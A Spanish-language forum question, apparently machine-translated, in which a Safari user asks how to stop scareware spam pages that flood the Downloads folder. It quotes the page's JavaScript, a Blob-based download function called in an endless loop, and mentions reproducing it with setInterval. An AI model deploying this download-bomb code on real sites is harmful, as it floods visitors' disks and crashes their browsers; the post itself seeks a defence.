De fondo
Un nuevo spam página ha empezado a aparecer a lo largo de muchos "cuestionable" sitios (webs de películas, etc.). Esta nueva spam de la página se adapta a la categoría de las exploraciones falsas, MacKeeper, "TIENE UN VIRUS", etc. categoría.
Problema
El problema con esta nueva página es que en lugar de tener una ventana emergente, realmente la página inicia una descarga de un azar 2kb (no dañino sólo contiene texto aleatorio) archivos repetidamente cada ~1ms. La carpeta de descarga se llena antes de que usted puede cerrar la ventana y lo que queda es la eliminación de más de 1000 archivos. A diferencia, un problema similar en el que una página de spam abre el cuadro de diálogo imprimir, hay muy poco tiempo para reaccionar.
Fracasaron Los Intentos De Solución De Problemas
Traté de bloquear la carpeta de descarga. Mientras que impidió que las descargas desde...bueno...la descarga, un cuadro de diálogo (ver imagen). Por lo general, yo sólo podría cerrar este cuadro de diálogo, pero ya que la descarga se trató de cada ~1 ms, yo un nuevo cuadro de diálogo aparece cada vez que intento cerrar, me impide cerrar la ventana.
Forzar la salida de Safari, la cual se detiene la descarga (después de 1k de descargas), pero luego me suelto todos mis otros windows
Cambiar la configuración de 'Preguntar por cada descarga' en las preferencias de Safari. No funciona porque 1k de separar los cuadros de diálogo abrir me impide incluso el cierre de la ficha. Finalmente estrellarse Safari.
Pregunta
¿Cómo puedo prevenir el spam, descargas de Safari?
ACTUALIZACIÓN:
Aquí está el código que causa la descarga (lo consiguió mediante la desactivación de JavaScript y mirando a través de código manualmente):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Nota: he tenido algunos problemas con el JS en una página personalizada. Se congeló en lugar de descargar. Yo era capaz de emular la descarga mediante el uso de un setInterval()
función de llamar a un la download
función.